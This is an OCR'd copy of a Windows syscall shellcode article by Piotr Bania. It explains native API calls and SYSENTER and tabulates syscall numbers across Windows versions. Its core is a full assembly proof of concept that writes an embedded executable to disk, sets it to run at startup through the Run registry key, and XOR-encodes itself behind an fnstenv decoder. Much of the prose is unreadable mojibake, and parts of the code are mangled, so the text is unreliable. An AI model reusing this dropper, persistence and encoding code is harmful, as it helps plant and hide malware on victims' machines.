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Windows Syscall Shellcode

Piotr Bania

Introduction
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Some Background
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From native API calls to syscalls

HZE APl 322 M5 ASGIN 2D ADSS ZAS & QUCHE 20l AU S,
API0I (2t CHE 2 UCH Native NT API® 1 9/9 2SS 555K 20 1S9 s
Esgl

2Sigl= 02l APISO0| QUCH. 0l2H=2 =SYol)| fol, KERNEL32.DLLESH AL
GetCommandLineA APIS AMHTHE A},

.text:77E7E358 ; -----——---——--- SUBROUTINE -————----—--mmmo -
.text:77E7E358

.text:77E7E358

.text:77E7E358 ; LPSTR GetCommandLineA(void)

.text:77E7E358 public GetCommandLineA

.text:77E7E358 GetCommandLineA proc near

.text:77E7E358 mov eax, dword 77ED7614

.text:77E7E35D retn

.text:77E7E35D GetCommandLineA endp
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.text:77E616B8 ; BOOL __ stdcall TerminateProcess(HANDLE hProcess,UINT
uExitCode)

.text:77E616B8 public TerminateProcess

.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p

.text:77E616B8

.text:77E616B8 hProcess = dword ptr 4

.text:77E616B8 uExitCode = dword ptr 8

.text:77E616B8

.text:77E616B8 cmp [esp+hProcess], O

.text:77E616BD jz short loc_77E616D7

.text: 77E616BF push [esp+uExitCode] ; 1st param: EXxit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
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.text:77F5C448 public ZwTerminateProcess

.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p

.text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFEO300h ; EDX = 7FFEO300h

.text:77F5C452 call edx ; call 7FFEO300h

.text:77F5C454 retn 8

.text:77F5C454 ZwTerminateProcess endp

A&l 0l native API= eaxO0l syscall =XE M&EGtLD 022l =& 7FFE0300h0l U=
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7FFEO300 8BD4 MOV EDX,ESP

7FFE0302 OF34 SYSENTER

7FFEO304 C3 RETN
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Operating system differences

Windows 2000 (2lx) XP Ol&2S] AIAEES H2lg NT JI8 AIABS)0HA SYSENTER
A= AEDX €=Ch 224U, Windows XPUIAE=E “int 2eh” (0I& ZENHOI
SYSENTER B3 HZ CHAMSI RUACH OteH E= Windows 20002 syscall RS 20 ELH:

MOV EAX, SyscallNumber ; requested syscall number

LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler



RET 4*NUMBER_OF_PARAMS ; return
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push fn ; push syscall number

pop eax ; EAX = syscall number

push eax ; this one makes no diff

call b ; put caller address on stack
b: add [esp],(offset r - offset b) ; normalize stack

mov edx, esp ; EDX = stack

db Ofh, 34h ; SYSENTER instruction

normalize stack

-
e

add esp, (param*4)
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IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED

FI;
2 0lde AlAE 2 B35S X082 A Windows 2ZXMAMONAM =8 Otllet —
O22o HIt BE0H== AXME WA Windows H&E ALOIIA S XtOIDJF &HCH:
Syscall symbol NtAddAtom | NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3 0x3 0x5 Ox7

SP 4 0x3 0x5 0ox7

SP5 0x3 0x5 ox7




SP 6 0x3 0x5 Oox7
SP O 0x8 Oxa Oxc
SP 1 0x8 Oxa Oxc
Windows 2000 SP 2 0x8 Oxa Oxc
SP 3 0x8 Oxa Oxc
SP 4 0x8 Oxa Oxc
SPO 0x8 Oxb Oxd
Windows XP SP 1 0x8 Oxb Oxd
SP 2 0x8 Oxb Oxd
SP O 0x8 Oxc Oxe
Windows 2003 Server
SP 1 0x8 Ooxc Oxe
syscall 15 HOIE22 2HUYUHAM 2= = ULt SXAEE metasploit.comlil A= A=
0| "ietlt, defu HEe U2 2S5 JUS A0l
Syscall shellcode advantages
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Syscall shellcode disadvantages
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The shellcode - Proof Of Concept

comment $

WInNT (XP) Syscall Shellcode - Proof Of Concept

Written by: Piotr Bania
http://pb.specialised.info
$
include my_macro.inc
include io.inc

; -—— CONFIGURE HERE

; If you want to change something here, you need to update size entries written above.

FILE_PATH equ "W??WC:Whb.exe",0 ; dropper
SHELLCODE_DROP equ "D:WasmWshellcodeXXX.dat" ; where to drop
; shellcode

REG_PATH equ "WRegistryWMachineWSoftwareWMicrosoftWWindowsWCurrentVersionWwRun",0
KEY_ALL_ACCESS equ 0000f003fh ; const value
_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S _NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h
@syscall macro fn, param ; syscall implementation

local b, r ; for Windows XP

push fn

pop eax

push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db Ofh, 34h

r: add esp, (param*4)



endm
path struc ; some useful structs

p_path dw MAX_PATH dup (?) ; converted from C headers

path ends

object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?

object_attributes ends

pio_status_block struc
psb_ntstatus dd ?
psb_info dd 2

pio_status_block ends
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
call crypt_and_dump_sh ; Xor and dump shellcode
sc_start proc
local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block

local fHandle :DWORD

local rHandle :DWORD

sub ebp,500

push FILE_PATH_ULEN

pop [u_string.us_length]
push 255

pop [u_string.us_length+2]

lea edi,[fpath]

; allocate space on stack

; set up unicode string

; length

; set up unicode max string
; length

; EDI = ptr to unicode file



push edi ; path

pop [u_string.us_pstring] ; set up the unciode entry
call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack

FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h

a_pl: pop esi ESI = ptr to file path

push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
Xor eax,eax ; EAX=10

a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align
lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)

pop [edi.oa_length] store

push ebx store the object name

pop [edi.oa_objectname]

push eax rootdir = NULL

pop [edi.oa_rootdir]

push eax secdesc = NULL

pop [edi.oa_secdesc]

push eax secqos = NULL

pop [edi.oa_secqos]

push 40h attributes value = 40h

pop [edi.oa_attribz]

lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null

push eax ; eabuffer = null

push 60h ; create options

push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes

push eax ; allocation size = NULL

push ecx io status block



sl:

push edi

push 0C0100080h

lea esi,[fHandle]

push esi

@syscall _S_NtCreateFile, 11
lea ecx,[iob]

push eax

push eax

push main_exploit_s

call a3

include msgbin.inc

main_exploit_s equ $ - offset sl

a3:

a_sl:

a_p2:

a_lol:

push ecx

push eax

push eax

push eax

push dword ptr [esi]
@syscall _S_NtWriteFile, 9
mov edx,edi

lea edi,[rpath]

push edi

pop [u_string.us_pstring]
push REG_PATH_ULEN
pop [u_string.us_length]
call a_p2 ; store the ascii reg path
db REG_PATH
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh
pop esi

push REG_PATH_LEN

pop ecx

lodsb

stosw

loop a_lol

push eax

push eax

; object attributes

; desired access

; (out) file handle

execute syscall

ecx = io status block
key = null

byte offset = null
length of data

ptr to dropper body

dopper data

io status block

apc context = null

apc routine = null
event = null

file handle

execute the syscall
edx = object attributes
edi = registry path
store the pointer

into unicode struct

store new path len

; pointer on stack

esi ptr to ascii reg path

ECX = REG_PATH_LEN
little ascii 2 unicode

conversion

disposition = null

create options = null



push eax class = null

push eax title index = null

push edx object attributes struct

push KEY_ALL_ACCESS desired access

lea esi,[rHandle]

push esi (out) handle

@syscall _S_NtCreateKey,6

lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax

pop [ecx] ; nullify file handle

push FILE_PATH_ULEN - 8 push the unicode len

without 8 (no "W??W")

push ebx ; file path
add [esp].8 ; without "“W??"
push REG_SZ ; type

push eax ; title index = NULL

push ecx ; value name = NULL = default

push dword ptr [esi] ; key handle
@syscall _S NtSetValueKey,6 ; set they key value
dec eax

push eax ; exit status code
push eax ; process handle

; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want

; TerminateThread instead?

sSsc_size equ $ -offset sc_start
sc_start endp
exit:

push O

@callx ExitProcess
crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file

; will be dumped



xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop
_fcreat SHELLCODE_DROP,ebx
_fwrite ebx,sh_decryptor,sh_dec_size
_fwrite ebx,sc_start,ssc_size
_fclose ebx
jmp exit
sh_decryptor:
XOr ecx,ecx
mov cXx,Ssc_size
fldz
sh_add: fnstenv [esp-12]
pop edi
add edi,sh_dec_add
sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop
sh_dec_add
sh_dec_size

end start

Final words

gal0l 0 EHE MUAN AUIIE Hie
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Further reading

equ ($ - offset sh_add) + 1

equ $ - offset sh_decryptor

; some of my old crazy

; i0 macros

; that's how the decryptor

; looks like

; fnstenv decoder

1. “Inside the Native API” by Mark Russinovich

2. “MSDN” from Microsoft

3. Interactive Win32 syscall page from Metasploit

About the author
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